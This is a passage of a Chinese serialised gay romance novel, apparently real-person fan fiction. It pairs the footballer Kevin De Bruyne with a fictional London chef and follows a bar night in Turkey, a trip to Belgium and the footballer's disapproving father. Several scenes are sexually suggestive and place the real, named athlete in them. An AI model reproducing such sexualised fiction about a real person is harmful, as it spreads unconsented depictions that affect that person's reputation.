保罗看到德布劳内就在克里奇利脚边上不停地收拾他那点东西,于是捏住克里奇利的下巴转向一边,“套个近乎呗,那可是德布劳内啊,球衣没了,要个签名总可以吧!” “我和他不熟,你们别给人家添麻烦了。” “不熟?”两人奸笑搓手,就凭克里奇利这斩男的社交水平,他说不熟的那一定是非常的熟,而且这个男人还是金发白男,正中他们伦敦大种马的下怀。 “你不对劲!”理查德作为一个耽美作家,观察力还是出类拔萃的,特别是对他从小玩到大的铁子布莱恩,没什么能逃得过他的眼睛。 “进到第几阶了?” 克里奇利伸手打他,“别胡说八道!” 保罗也反应过来,看了理查德一眼,馊主意一下冒了出来,他大着胆子喊了一声,“嘿,德布劳内先生!” 德布劳内听见有人叫他,抬起头看过去,这俩人立刻一脸堆笑的向他招手。 “别理他们,两个花痴。” 克里奇利从栏杆上跳下来,和他们一高一低保持着半米的距离。 两人还主动弯下腰从栏杆里伸出手来,德布劳内知道是克里奇利的狐朋狗友,于是友好的和他们握手。 克里奇利只好给德布劳内介绍,这是他伦敦小分队的成员,一个是闷骚宅男攻,一个是社畜牛马攻,来土耳其度蜜月。 德布劳内笑说,两个攻啊。 克里奇利说总比两个受好点。 四个人三个不要脸,一个大红脸。 给子平时的话题更开放,德布劳内还不适应。 “晚上一起出去喝点吧,德布劳内先生。” 他们大言不惭的向他发出邀请。 克里奇利瞪着大眼睛看着他们,刚想替他拒绝,德布劳内却一口答应下来说,“好啊,伦敦来的也算家里人。” “噢——!”俩人兴奋的差点跳起来,他们眉飞色舞的对克里奇利起哄,“家里人噢,他说家里人。” “他是说英超球迷,你们俩总不是来支持国米的吧!” “啧啧啧,还解释上了。” 德布劳内笑笑,似乎对克里奇利的回答不太满意。 他的不满意让他们还没出发就开始各种摩擦不断。 “不欢迎我加入你们的小团体吗?”德布劳内在房间换衣服准备和他去小酒馆见他的朋友。 “不是,他们太粗俗了,我怕你不喜欢。”克里奇利坐在他床上看着镜子里的他。 “噢,你不粗俗?”德布劳内整理衣领瞥他一眼。 “我…” “你在我面前还装什么正经?*? 人,你就是一副爱我你就留下不爱我你就滚蛋这样一副德性。” “……” 克里奇利被他说的愣了一会,自觉无力反驳,德布劳内看人有点准,他的确是这么一个风格,只是那是以前,现在也是有partner的人了,已经收敛太多了。 “也不是一时半会能改过来的。”他手插在兜里,还无所谓的笑。 他实在耿直的态度惹得德布劳内不高兴,但是也没表现的太明显,还是整理了一下疲惫的状态,和他出了门。 颁奖结束后已经很晚了,但是大家真的各有去处,官方说回去庆祝,今晚大家都累了早点休息,把他们放到酒店,然而这些成年人不出去放飞自我岂不白来一趟,倒不是奔着拜占庭风格的艺术之都而是循着味道往酒香巷子深里走去。 克里奇利他们来到一个queers bar. 德布劳内可从没来过这么混乱的地方。 克里奇利怕有人认出他,把他的卫衣帽子拉上去,这样他就不那么显眼了。 还怕吓到他,一直拉着他寸步不离,但还是震惊到他,心里有些不安的紧跟在克里奇利身边。 这里鱼龙混杂,什么人都有,LGBT,异装大佬,皮革爱好者,痴汉,4i…只有想不到没有看不到,说实话,乱到克里奇利都感到头皮发麻,这小地方谁打听的,不能去一个安静优雅的小酒馆喝喝酒聊聊天吗,这俩人是越来越胆大,越来越欲求不满了。 实际上,他的猎奇观在一点一点转变,他自己没发现而已。 第48章 “真不愧是艺术之都…… “真不愧是艺术之都!” 这两个伦敦来的土包子看见夜色霏霏的酒吧这么大,舞池中间还有一个超大的训练广场,眼睛发亮。 实际上没见过世面的另有其人。 他整天忙着训练比赛,有点空就补觉,连街都不逛,冰箱和衣橱一样干净,和他的私生活一样,干货寥寥无几。 他才是一个纯洁诚实又有些洁癖的人。 他和这个场合格格不入。 克里奇利则是一个对什么都手到擒来的人,他就是一条鱼缸里的金龙鳅,生存力极强又可以把鱼缸里的水搅和的跟开了锅一样,而且他还是条漂亮的泥鳅,比那些花花绿绿的热带鱼都要耐看,还扛打。 他见怪不怪的拉着德布劳内穿过人群,来到一个较为私密的包间,通过半开的帘子可以看到外面的春光,但外面的人看不到他们,不过也没人窥视包间里的人,都在各忙各的。 这两个不淡定的伦敦人才不甘于坐在包间里喝酒聊天,他们土耳其之旅才刚刚开始,一直拉着克里奇利要去外面寻求刺激,克里奇利说,我得保护好我同事。 partner这个词放在这个语境里是容易让人产生误会的,谁知道他说的是同事还是另一半。 理查德和保罗又一次谄笑了他,还没等调侃就被他一把推出了包间。 partner?德布劳内也好奇,倒没问的很清楚,好像累的嘴皮子都张不开,一直慵懒的靠在沙发背上,强打精神让那些离奇画面闯进自己的视线里。 “你没来过这种地方吧?” 克里奇利给他倒了一杯苏打水,衬衫袖子半挽在小臂上,露出一截刀削般骨感结实的手臂。 “看样子你经常来。”德布劳内没什么好气的回应他。 包间里有点热,德布劳内也把袖子撸上去,杯子握在手里,室外的灯柱时不时的扫过来,衬的他皮肤更显白皙,像落在凡间的雪王子,跟这个污七八糟的环境反差极大。 克里奇利看着他,赛后的激动和平复下来的沉静都比不上他现在纤尘不染的样子。 即便是躁动的人群和夸张吸睛的表演也不能骚乱他心神半分,他对周遭环境不感兴趣,眼里只有克里奇利一个人。 “这地方不适合你,一会早点回去,不必为了我勉强自己来应酬,我们伦敦小分队经常见面,又不是非得在这叙旧。” “不勉强,在哪都是放松,倒是你显得不太自然,是想去玩又觉得我是累赘吗?” “怎么会呢,凯文,你对我还是这么没信心。” 这时一个异装boy路过他们的包间,往里面扫了一眼,看见克里奇利后冲他调情抛媚眼。 克里奇利没回应他,这确实不是他喜欢的类型,他不喜欢穿裙子施粉黛的男孩,但那个男孩还没有要走的意思,正巧碰上理查德和保罗回来。 “哇哦,这么漂亮的土耳其小帅哥,你们怎么忍心让他站在门外。” 保罗正想邀请他进来喝一杯,结果被克里奇利伸手挡住了,“我这里有贵宾,不方便。” 男孩子悻悻的走了,搞得保罗和理查德有点诧异,这是伦敦的克里奇利?他向来不会拒绝美色靠近,何况是异域风情的小鲜肉。 该不会是真的和德布劳内谈上了吧。 “布莱恩,没酒了,能辛苦你的长腿移步一下吗?”理查德想把他支开,套点话出来。 “不喝了,就这些,你们不知道我今天有多累。”他还不上套。 “我去吧。”德布劳内刚要站起来,又被克里奇利按住了手,对他摇摇头。 “那我去吧。”保罗也没理解理查德的心思,他也站起来欲从克里奇利身前绕出去。 克里奇利腿一收,给他让了路。 “嘿,你怎么不拦着他啊?”理查德冲克里奇利嚷嚷,“我俩刚跳完一轮也累的汗流浃背了,真偏心啊!” “我说了他是我的贵宾,我得保护好他。” 保罗拍了他大腿一下,也开始挑理,“布莱恩,你谈恋爱了!你绝对谈恋爱了!” “胡说八道什么。” “来来来,老实交代。” 保罗搂着克里奇利的脖子就把他往包间外面拖。 他们打打闹闹的,一点也不像30的人,德布劳内掩面偷笑。 克里奇利不好拒绝还是被保罗给拖出去了。 保罗借口尿尿,让克里奇利去买酒,趁机又跑了回来,他就知道理查德的小心思,也想早点回来坐实克里奇利谈恋爱的八卦。 刚进门就听见理查德在跟德布劳内传授经验,什么布莱恩多金,成功,帅气,伦敦一美,太多人物色他了,你要想抓住他必须得手腕狠。 德布劳内问他怎么个狠法。 “他很难被驯服,你要…” “你要想办法把他留在家里,不要让他出去,否则,你知道的,外面诱惑那么多,小鲜肉层出不穷,他会变心的,而且他变心超快。” “他哪有心,谈不上变心。”理查德接过去话。 “继续说,怎么个狠法?”德布劳内心里已经想到之前用手铐铐住他,小鞭子抽他也没觉得多有用,他还是没有要和自己谈恋爱的想法,要不是自己主动问他,现在说不定就只是同事而已。 “你得让他为你吃醋。” “噢,你就是这么让我上套的,我说你那段日子怎么不跟我玩了,原来是给我找醋吃,让我觉得不能没有你,理查,你真不愧是写书的,心眼子太多了。” “你懂什么,这叫心理学。” 德布劳内笑。 “真的,德布劳内先生。” “叫我凯文就行。” “凯文,你要是能栓住他,那你就是第一人。” “哈哈哈…”德布劳内被他们夸张的表情逗笑,跟克里奇利谈个恋爱就成第一人了,这比金球奖还难拿吗? “你别不信,他其实很难搞,你要是稍微大意一点,他就…” “我就怎么了?”克里奇利把手里的杜松子酒放到桌上,大眼睛一眨不眨的盯着理查德,眼神似乎在警告他再说下去就别怪我翻脸。 “啊,没什么。”保罗开始打圆场,“这不是在和德布劳内先生介绍入圈规则吗,正好聊到你。” “他们说你已经很久没和他们来这种酒吧了,而且大概有…”德布劳内伸出手指头,“3天没和他们讨论帅哥了。” 克里奇利坐下,不知道是出于什么原因,他对理查德和保罗十分严肃的说:“就知道不该和你俩出来瞎胡闹,他是直男!” “啊??”理查德和保罗两脸震惊,面面相觑。 他们以为德布劳内和克里奇利已经是一对儿了,种种迹象都表明他们绝对不是普通同事这么简单,怎么还能是直男。 德布劳内被他这么一说,也有点摸不着头脑,也许是出于保护自己的原因,也许是他根本不想在朋友面前毁掉自己的人设,总之,这一句直男也给自己敲响了警钟。 “没事没事,那有什么。”理查德大言不惭的说着,“直男他也能掰弯,德布劳内先生,来喝一杯。” 这个小聚会让克里奇利全程不自在,他也不知道要是德布劳内不来他能不能放的开,能不能招架得住这俩热衷于窥视他私生活的猥琐男。 他的私生活向来不必窥视,都是在他们面前有一说一,毫不掩饰,除了不透露姓名,他也确实记不住,基本都摆在他们面前,让他们实名羡慕,大概是到了曼彻斯特离得远了,不经常讨论就冒出神秘感了。 回去后,他们还怂恿他早点拿下德布劳内,他们说看得出来,德布劳内虽然是直男,也并不排斥他们,相反对这个圈子容忍度很高,能跟你出来就表示不只是同事那么简单,好感可以培养一下。 他回他们,“我为什么放着一片森林不要,非要在一棵树上吊死。顺便问一下,你们婚后生活还和谐吗?有没有超出规定夜不归宿的时候被另一半扒光了踢出去?” 两人回了他一个不友好手势,就不搭理他了。 德布劳内回去后,表面上不温不火的,实际上也开始犯嘀咕。 他常常睡不着扪心自问,为什么会喜欢上一个夜夜笙歌,喜欢出去勾搭别人,从来不憧憬二人世界的人呢。 说是不在乎他的过去,自己真的有本事天天栓住他,不去看窗外的景色吗? 以前不知道是因为自己大概真的是男女通吃,现在看到这个圈子这么多诱惑,摁住他围着自己转他真的开心吗? 这几天德布劳内都没来他家,也没让他去。说是放假了要回比利时,如果他想回伦敦也可以回去。 克里奇利说,回什么伦敦,房子我都卖了。 变脸超快的大橘猫也没给他立什么约法三章,也没放话让他出去玩,但他是有圈子的,确实不是属于某一个人的。 他会有自己的应酬,除了圈里人的各种聚会,还有业界交流,厨子届也卷,不过他还挺无欲无求的,在曼城享受高薪待遇不会轻易被别的机构或个人挖走。 德布劳内走时什么都没说,也不说什么时候回来,考验克里奇利的时候到了。 第49章 这天,托马斯回来了…… 这天,托马斯回来了。 他一进门就挂在克里奇利的脖子上,兴奋的告诉他这十几天的所见所闻,还拿出了自己初选的奖牌,下一步就要去东南亚参加决赛,到时候电视就会有转播。 克里奇利上下打量着他,嗯,气质确实变了很多,阳光帅气健康这些他已经都有了,这一趟旅行让他看上去有那么一点明星气场,不那么愣头愣脑一股小傻子味儿了。 不过他的行李哪去了,“看来我这不是第一站啊,小崽子,回来第一时间跑哪去了?”眼尖的克里奇利一语道破。 “呃…”托马斯搓搓手,有些心虚的回答他,“我放在朋友那了,想跟你商量一下,关于搬出去住这件事。” 看他忽闪着睫毛,一双黑漆漆的眼睛转来转去,就知道他一包心眼子现在正准备攻略他的监护人,早就把他一眼看穿的30岁的老男人。 “去吧,搬出去住,也不用经常回来看我,我太忙没时间管你,你朋友我也不想打听,再被欺负了我也鞭长莫及。” 克里奇利没等他开口就先把自己攻略了,说完他就躺床上开始摆烂,谁都不想管,一个个都想一出是一出的。 “哥,我不瞒着你,是我们队长麦卡蒂,他要找人合租。” “麦卡蒂?” 克里奇利知道这个孩子,来一队吃过饭,还跟他说过为了天天来一队吃饭,一定要早点升上来。 克里奇利看他长的乖巧难得的鼓励了他一句,说你少吃点,才19就长这么高了,再长个儿就得去当门将了。 他说我才18。 现在他还在二队带队打u19,下个赛季一准升队了。 怎么有种要当上丈母爹的感觉。 才养了小半年的阿根廷小麋鹿,这就要跳进别人怀里去了。 不舍得归不舍得,克里奇利是最懂得放手的人。 “你需要和同龄人交流,我同意了。” 他把手交叉放在脑后,闭着眼睛回答他,说的容易其实心里是有些不舍的,他走了早上就吃不到难吃的早饭,也看不到他坐在沙发上打游戏骂脏话了。 但是他不用看这个闪着耀眼光芒整天朝气蓬勃的小男孩在自己眼前蹦跶,还动不动管自己叫老哥,克里奇利数落他你不如直接叫爹,然后他就把生气老哥的脸捏成包子。 爱一个人挺难的,现在不是一个是两个,克里奇利想要赶快睡着,不想考虑这些以前从来不用考虑的事。 他从来就没有爱过谁,也没获得过真正的爱。 所以他大多数时候像一条蛇一样盘在自己舒适的洞穴里,只有觅食的时候才会显示出咄咄逼人的攻击性。 现在他好像学会了一点怎么去关心别人,可很多时候都憋在心里,说出来的都是不太着调的话,但托马斯懂他,他越是把自己往外推实际上越在意。 托马斯把窗帘拉上,又走到他身边给他盖上被子,俯下身来亲吻了他的额头,轻轻说了一句:“哥,谢谢你。” 克里奇利转了个身,抓紧被子把头埋在手底下,双目紧闭好像睡着了。 托马斯蹑手蹑脚的把从法国意大利带回来的伴手礼放在厨房的桌上,然后收拾了几件衣服,像个小偷似的生怕惊醒了熟睡中的主人,打好包后站在门口依依不舍的看了看这个收留他这么久的温馨小窝和他的恩人,这里有很多欢乐、包容、指引还有爱,他还会回来的,只是和别人合租而已,这对他来说代表着独立的第一步。 他刚关上门,克里奇利无论如何也睡不着了。 现在是下午6点,他睡的什么觉呢,这睡了,晚上就得玩到凌晨3点,可他的伴侣呢,回比利时就跟失踪了一样,偶尔刷视频能看到他出席一些足球相关的活动,然后ins和社交软件就跟被封了一样,落满了灰尘。 克里奇利无论如何也呆不住,这不是养狗,是栓狼,他回比利时还叫我回伦敦,言下之意就是可以放飞自我了,他脑子一过那些令人上头的画面,道德感随即被踩在脚下成了一缕烟灰。 还没等出去找乐子,叮的一声,德布劳内发来一条信息。 真及时啊,看来脑子就不能想那些伤风败俗的事儿,他的伴侣好像能感应到,一张照片就把他那脆弱易碎的爱情观又给糊起来了。 照片中他和三个男的在游艇上,赤着上身勾肩搭背的还挤出一脸褶子。 “吃醋了吗?”他说。 克里奇利看着手机发笑,这谁教给他的,用的这么直白。 “本来就离得远,还给我发醋吃,我缺饺子啊。”他回道。 “哈哈,那你自行解决,不许出去偷腥,否则我回去弄死你。” “快点回来弄死我。” 他裸着走到窗边,迎着窗外的夕阳,胡子拉碴,头发翘着,双眼眯缝起来看上去比出海晒日光浴的裸男们性感多了,于是自恋的拍了张照片发过去。 “这么狂野的小狼狗不出去觅食真浪费啊!” “你还说,你不在家,我快饿死了,给我发张照片过来,你懂。” “不方便。” 德布劳内拒绝了他,也不和他发视频,仅仅在语音中说说骚话,惹得他浑身跟被蚂蚁咬了似的,痒的要褪皮了。 那些火辣的摩擦无删减版的镜头在他脑子里一遍又一遍的过,现在他才知道有伴侣的好处是当他在身边时拉过来就宠,坏处就是不在身边时各种束缚。 他知道他不能出去猎食,因为他现在是一对一的关系,但他还不太懂忠诚在两个男人之间也是如此重要,因此他在想要是照片中的那三个男人欺负他爱人他会不会吃醋,答案是不会,相反他会加入进去干死那三个饱满的肌肉男。 想着想着他就兴奋了,这是他走向社会后第一次在孤独寂寞中“享受”自己,这滋味真别扭,累得手酸不说,过后还泛起了一阵恶心。 我堂堂伦敦大种马,竟然要靠脑子里的小片来解决自己,真是窝火到头了。 要是这么过日子的话,人生也没啥追求了。他沮丧难过又不知道该向谁说。 这时,手机响了一声,他以为德布劳内又检查他生活作风,想把一垃圾桶的卫生纸拍下来给他看,叫他一语不发就回比利时,把漂亮的老公扔在家里守空房。 结果一看是eleven给他发消息。 “布莱恩,明天我家有个聚餐,能请你来帮忙吗?” “什么聚餐?我去吃还是做?” “呃,做完了吃行不?你要是来了,他们一定会很高兴的。” “诗怡,又跟家人说大话了是吧?你带你男人来咱家餐馆约会,每次都让我给他做好吃的还说是你做的,帮你成功追到他你不感谢我还薅我。” “我不是帮你值早班了嘛!就一次,师哥~” 中文都跑出来了,克里奇利怎么会拒绝她,小师妹的话他从来都没有不听过,以前在餐馆得罪客人闯了祸都是小师妹帮他说好话,不然他师父活不到这个年纪。 “但是我有一个要求。” “我知道,我会付给你时薪的,财迷。” “不是,时薪小事儿,我不差这个,你出来陪我喝一杯,别叫你那好事的老公知道。” eleven的老公是个cab,有点恐侗,克里奇利不太喜欢他,因为他老是叫eleven离自己远点,说他抓到的小混混大部分都是gay,一身的病。 克里奇利在曼彻斯特也没什么朋友,有的只是圈里人和泛泛之交,再就是吧友,一聊就聊到床上去的那种。 所以他有些话想说,只能和真正能为他着想的人诉说。 他们在一个小酒吧见面。 克里奇利早早来了在窗边的座位等着她。 eleven风风火火的进门就四处张望,找到他以后径直走过来,还没坐下就关切的问他,“怎么了布莱恩,这个点不应该是你的蹦迪狩猎时间吗?” “没胃口。”克里奇利一反常态。 “噢?怎么了?被哪个小帅哥甩了?” “你能不能盼我点好?” “嘿,布莱恩,可是你约我出来的,想对我撒气是吧,哼,就算你明天来帮我的忙,我也不当出气筒噢!” eleven嘴巴很厉害,才不吃憋屈呢,她帮师哥骂挑剔的顾客比他嘴还毒,一句你这种胖的跟猪一样没人爱你能骂哭好几个吃饭不给钱还找事的teenager。 “好,我就是找你聊聊天,实在是闷死了。”克里奇利可不能把她再气走了,“两杯帝王赤霞珠,我请。” “怎么了这是?看来要谈论的事很大。” “难以想象的事发生了。” “直了?” “比这个可怕。”他顿了顿,“我谈恋爱了。” “啊哈哈哈…”她笑的很大声,引的别人看过来,接着又收住了,“这不可怕啊,布莱恩,你会乐在其中的。” “我是挺开心的,但是他不在身边的时候,我总是精神出轨,老是想往外跑,这正常吗?今天我忍住了,脑子里想着他然后自己解决了,但我不能保证下次还能这么做。” “你爱他吗?” “毫无疑问爱。” “那就不会再爱别人。” “我不爱别人,但是你知道我怕约束不住自己。” “爱情不是你想怎样就怎样,你要学会忍耐和憧憬,布莱恩,我也有100次想杀死Bill的时候,然而总是在第二天还要提醒他别忘了带哮喘药。” 这时eleven手机响了,她接起来解释自己在超市准备明天的聚餐食材,克里奇利付了账单,转身离开了酒吧。 他买了去比利时的机票,因为他怕第二天管不住自己做出背叛爱情的事,他不可以伤害那个愿意忍受他的花心并对他有憧憬的人。 第50章 要一个夜夜笙歌的基…… 要一个夜夜笙歌的基佬在火热的夏天禁欲这真的不是一个好主意。 德布劳内回比利时一走就是一个星期,这实在是考验克里奇利在这段一对一的关系中还有多少耐心。 他买了去比利时的机票要把这一周攒的火通通发泄给那个从土耳其回来就对他忽冷忽热的人。 他还打算给他一个惊喜。 彼时的德布劳内确实心思没在他远在曼彻斯特的男友身上,他也不清闲,整天忙着玩。 刚和朋友们从游轮上下来,又参加了家庭聚餐,还要迎接他俱乐部的小队员来比利时踢青少年友谊赛,最后还答应了沙特的朋友去看一场F1比赛。 私人聚会和足球相关的活动填满了他的假期,让他一时忽略了和男朋友调情。 也不是他不想调,是他从土耳其回来就觉得这样不对。 他怀疑自己可以栓住他的能力,也不想花心思去教育他要做一个专一长情的安静美男子,那样的话就不是他了。 自己之前喜欢他也是因为他对感情持来去自如的态度,潇洒的就跟不是自己的事儿一样。 不搭理他那段时间他也能做到不上赶着,不阴阳怪气,也不区别对待,尽管他也因此而掉称,这证明了自己还是有魅力可以吸引这种不轻易捞人的名品的,这样就够了,剩下的顺其自然吧。 他不在身边,也就少了担心他乱搞的烦恼。 德布劳内在自己的别墅里喝茶赏花吹空调,想着一会还要和他爸爸去参加一个小型商业聚会。 这时克里奇利打来电话问他在哪。 他说在家躺着呢,怎么,你来查房吗? “是的,凯文,请发个位置给我,德龙恩太绕了,一会我就又绕回布鲁塞尔了。” “傻子,来了不说一声,我派人接你。” 没跟他在一起时整天幻想和他在一起是什么样,会不会经常有惊喜有浪漫,现在在一起了又觉得他应该是随性的放纵的不该围着某个人转的,那样就不是传闻中迷人又孤傲的克里奇利。 说实话,他给克里奇利发游轮上的亲密照片是想看看他吃醋什么样,看到了也满足了,然而也没期待他能来。 克里奇利也没想太多,他根本不知道惊喜和浪漫是什么,他只是单纯的想见他,不然见谁? 德布劳内挂了电话,有些意外的笑笑,心想,他还真是吃醋了,要来堵我的门,查我的房,还不是他自己心虚,以为都像他似的,两天不播种就得憋死。 德布劳内给他发了位置,又跟楼下保安说他一会有贵客造访,请提供便利。 克里奇利顺利的找到他位于小镇郊区半山腰的可以俯瞰整个小镇风光的别墅。 一进门他就跟狼似的把背包一扔,扑上去就啃。一边啃一边嗅,这架势跟几天没吃饭了一样。 亲的德布劳内一直后退,连喘口气的余地都没有。 克里奇利大手扣着他脖子,把他压在自己的唇上,恨不得把舌头伸进他喉咙里去。 男人之间的亲吻充斥着暴力美学,进攻属性拉满,德布劳内也不是退让的主儿,他主管进攻,而且火爆脾气一点就着,于是他也抬着下巴,猛烈地亲吻他,说亲吻更像是撞咬,还要比谁的舌头更长。 激烈的亲吻带着脱衣特效,不一会克里奇利就把比利时白巧的糖衣给剥了个精光。 德布劳内被他推着压在了墙面上,手腕也被他握住举在头顶。 “慢点,你是想我还是想上我?”德布劳内脸色绯红,不甘心被压在墙面上可也没过多挣扎还有点欲拒还迎的意味。 “Both!” 克里奇利不想聊天,不想解释,也不想做前戏,他一闻到德布劳内身上的奶油加茶香就受不了了。 又甜腻又冷清的。如果他有信息素,真想狠狠地标记他,让他怀孕。 不过就算不能怀孕,也可以标记他,让他不想别的,脑子里只有这一件事,就是晾谁都行就是不能晾伦敦大野狼,那个打飞滴以后会头晕恶心的顶A混蛋,他一肚子坏招无处发挥真的会死。 在发挥之前,他是懂得让猎物放松警惕的。 狼是狩猎者,会把整个身体都贴在猎物上蹭,让聪明的猎物瑟瑟发抖,让愚蠢的猎物袒露肚皮。 所以他一定会饱餐一顿,然后舒服的满地打滚。 他把德布劳内翻转过去,支起双臂把他困在自己的身前,手指轻重不一的抚摸他的后背,帮他放松肌肉,一边抚摸一边称赞他,就像餐前对食物的感恩。 “凯文,你拥有喜马拉雅山脉一样宽阔的后背,亚马孙平原般平坦的小腹,还有鲨鱼划过海平面而起的凶猛气势,这一切太完美了。”他的手停留在火山口已经被撑起一个可观的弧度。 说的德布劳内忍不住发笑,不知道是不是他那文学家朋友教给他的话术,听上去鸡皮疙瘩都要掉一地。 美言不抵实干,他不再说话,只顾不停地亲吻他,一边亲一边拽他的裤子,急不可耐地贴上他饱满的臀大肌。 他从兜里摸出作案工具,刚要开始体验这道比利时国菜,突然听到咔哒一声,门被关上的声音。 他进来只顾着又扑又咬,竟忘了关紧门。 而门口站着一位似乎被眼前的情景吓的不知所措的老先生。 “噢fuck!”克里奇利又把小方塑料袋放回去,不怀好意的吼道,“你谁呀?” 德布劳内赶紧把裤子提上,接着把克里奇利拉到身后,弯着腰有些尴尬的解释,“爸,你怎么来了?我们不是你想的那样。” 爸?克里奇利听了差点就地撅过去。 “咳咳…我顺路来接你,你朋友?” “嗯,同事。” 克里奇利立刻警觉起来,前一秒还是狂野奔放的大灰狼现在变成了一只会察言观色的小狗。 他把德布劳内脱了半裸好在自己还穿着T恤,只好硬着头皮和他爸打招呼。 “布莱恩.克里奇利。”他伸出手去,不出所料地被这位红光满面比凯文还红温的老先生用力握了握。 紧接着他们用克里奇利听不懂的语言交流了一会,然后把克里奇利一个人扔在家里,他们父子俩出了门。 出门前,德布劳内还不忘交代他冰箱里有吃的,要不就先歇歇,等他回来带他出去吃。 克里奇利只好面带微笑送他们出门,心里有种说不出的滋味,他爸看上去虽然没说什么,却好像说了很多,那警惕的眼神似乎在警告他,离我儿子远点,你这个英格兰人。 英格兰人怎么了,和比利时人不是小巫见大巫么,克里奇利想着想着自嘲的笑了,喝了一杯凉茶试图缓解猎物从嘴里飞了的失落感。 结果他等了4个小时也不见德布劳内回来,电话也打不通。 他只好从冰箱里拿出他不爱吃的全麦面包啃了两口,他是肉食动物,现在就想吃一口白斩鸡或者甜水鸭,剥了皮的大白鱿鱼也行,唉,德布劳内又把他晾成了小鱼干,再不回来又只能靠自己了。 咔哒一声门响,克里奇利立刻起身过去,结果又是他爸,这次是他一个人。 克里奇利心里有数了,他爸要跟自己谈判。 无奈他只好厚着脸皮见家长,在这四个小时里他只想着他美丽wife什么时候回来,根本没打草稿来应付他爸。 老德布劳内先生坐在长沙发上中间俨然一副主人自居的架势,他指了指旁边的单人沙发示意他的客人坐下,开门见山的说,“克里奇利先生,我查了你的资料,厨师界业界翘楚,年轻有为,你真人要比网上的照片帅气多了。” “谢谢。”他知道老先生先夸他是出于礼貌,接下来可能就要审判他了。 “网上的一些话我也不知道真假,说你是gay说的有鼻子有眼的。” “那我也不隐瞒你,请允许我重新介绍一下我自己,伦敦蝴蝶大道基佬圈头号人物,只能玩不能泡的完美单身主义者。” “唉…”老爹扶额。 “不过你先别叹气,我对你儿子是…” “还不如不能泡。” 老先生打断了他的话,“能不能麻烦你看在上帝的份儿上,离开凯文。” 简单直接,三句不到就说到重点了。 老先生继续说:“我知道这对你们来说可能有点难,但如果你是认真的,可不可以稍微考虑一下,凯文的处境。” 果不其然是来劝退他的。 其实克里奇利也有考虑过球星的属性,他们自律,健康,节制,充满战斗力和男性气概,并且很突出的一点是足圈恐侗,有公开出柜的表面上对他是尊重和佩服,实际上根本无球可踢。 然而私底下又有几个能做到节制和干净的,出了名有了钱就算自己不挥霍,也总有人贴着你让你挥霍。 和男的混在一起受尽白眼,和女的就可以开party炫耀自己帅气多金会疼人的本事了?到底疼哪一个是真? 克里奇利不相信爱情,这样就不用费尽心思地去拒绝那么多诱惑,也会在那些声声称赞中迷失自我并且永远保持年轻。 他现在刚开始有点相信爱情了,觉得和男人也可以过异性恋的小把戏,约会,度假,送礼物,打飞机来奔赴对方,再说点甜言蜜语哄对方开心,这些他还没都做一遍试试呢,就要被上帝视角给讨伐了。 但是,拿上帝来压他不好使,他和上帝一天生辰,就算被人骂该下地狱的死给,这些人也要在这一天给他庆祝伟大的诞生。 想到这,他笑了,本来想说上帝算个鸟,但是又不好泯灭别人的信仰,于是改口道: “先生,劝退别人总要带点诚意吧。” 老先生展开严肃的眉头,有些期待地对他说,“这就好办了,克里奇利先生。” “别那么疏远,叫我布莱恩就行。” “好,布莱恩,你想要多少?” 克里奇利笑笑,并不急着回答,他拿起茶几上的凉茶转身去餐桌,接了一壶热水,给主人倒茶。 “唉,真的不想冒犯您,您觉得凯文的爱情值多少钱?” 这么一问把老先生问住了。 “不如您去劝劝他,如果他肯离开我,不就省了一笔巨额支出了?” “你真的不肯离开他吗?” “我们才刚谈,现在说离开还有点为时过早。不过我想诚恳的对你说,先生,我没有欺骗他,这样的爱情好不好还得他亲自试过才知道。” 克里奇利抿了一口茶,又恬淡的笑笑,可说出来的话又把老先生的眉头说皱了。 “老德布劳内先生,请叫小德布劳内先生快点回来,支开他太久对他身体不利,我从伦敦飞到这用了一个小时,可没想过还有4个小时的车程,你们比利时也不大啊!”【你现在阅读的是魔蝎小说 moxiexs】 50-60 第51章 不一会,凯…… 不一会,凯文回来了。 他手里拎着一些购物袋,看样子是去买东西了。 克里奇利自然的走过去从他手里接过来,还搂着他贴了贴,他爸在这自己还算收敛,没直接啃上。 只是这么一个简单的动作就有一种熟悉的人夫感,让老德布劳内先生看了浑身一激灵。 “凯文,你今晚跟我回家。”他对凯文说克里奇利听不懂的话。 “我不回去,我这有客人。”凯文回应道。 克里奇利把手里的购物袋放到桌上,是给他买的衣服,洗漱用品,还有内裤袜子什么的。 他抿嘴笑笑,真贴心,知道我来的匆忙没带过多的衣物。 还有一盒超大的披萨,不管了,他已经饿得前胸贴后背了,任由他俩在那叽里咕噜辩论,自己先吃为敬。 他刚咬了一大口披萨还没等咽下去,就被凯文一把拽起来,当着老先生的面对着嘴就亲了下去。 老先生气的胡子直发抖,摔门而去。 “怎么了这是?”克里奇利眼睛瞪的老大。 “没事,我都30多了,还把我当小孩呢!” 克里奇利没想到凯文会这么做,他刚才已经怼了他爸,但是看他们在一边激烈的讨论,瞬间觉得自己是来添乱的。 “凯文,我们都爱你。” “唉…我知道。” 克里奇利能说出这样的话他自己都惊呆,他爹妈之前没教过他谈恋爱要找个靠谱的,而是在发现他是同的时候,一个要和他断绝母子关系,一个恐吓他要是敢结婚就打断他腿,最后还是被破碎的家庭给堵在了门外,他根本不知道父母的爱是什么。 但是他从老德布劳内先生的眼神和语气中不难理解,他爱凯文,不想他吃爱情的苦,也不想他面临世俗的压力,不像自己,被憎恨,被诅咒,被驱赶,被当成骗婚后不该来到这世上的怪胎。 他抱着凯文,轻轻的吻他的额头,低沉的声线在他耳边响起:“德布劳内先生,对不起,要不是太想你了,我也不会让你这么受难为。” “这么说,我没栓住你的这段时间,自己栓住自己了?” “嗯,困在手心里,没乱出门,除了上厕所。” “哈哈哈…”他得意的大笑,然后使劲捏了捏没到处乱糙的英货。 一个回合之后,克里奇利搂着他,看着他饱餐过后血液涌上白皙的脸颊,慵懒的躺在自己怀里,想起刚才发生的事突然一丝酸楚涌了上来。 他坐在床边点燃了一根烟,刚吸了几口,后背就被一只手从上到下抚摸了下来。 “布莱恩,不早了,睡吧。” “嗯,凯文,你要不要给你爸道个歉。” “……” “我不太懂怎么爱别人,你是懂爱的,但是你刚才把他气的不轻,我不想你和我一样,和父亲成为敌人。” “没事,我以前也这么气过他,和库尔图瓦,和一个不忠的女人,然后拒绝恋爱,我的感情生活向来都是惹他生气的,过一段时间就好了。” “凯文,生气就代表爱吧,你看上去也不太开心。”克里奇利转过来亲吻他,他不知道该怎么表达爱,在他的人生字典里,爱就是亲吻,滚床单。滚完一个又一个,还没来得及投入爱就换下一个床单了。 这次滚的对不对他也不知道,总之想要得到祝福真的比登天还难。这在以前想都不用想,现在怎么这么令人费解,头都要炸了。 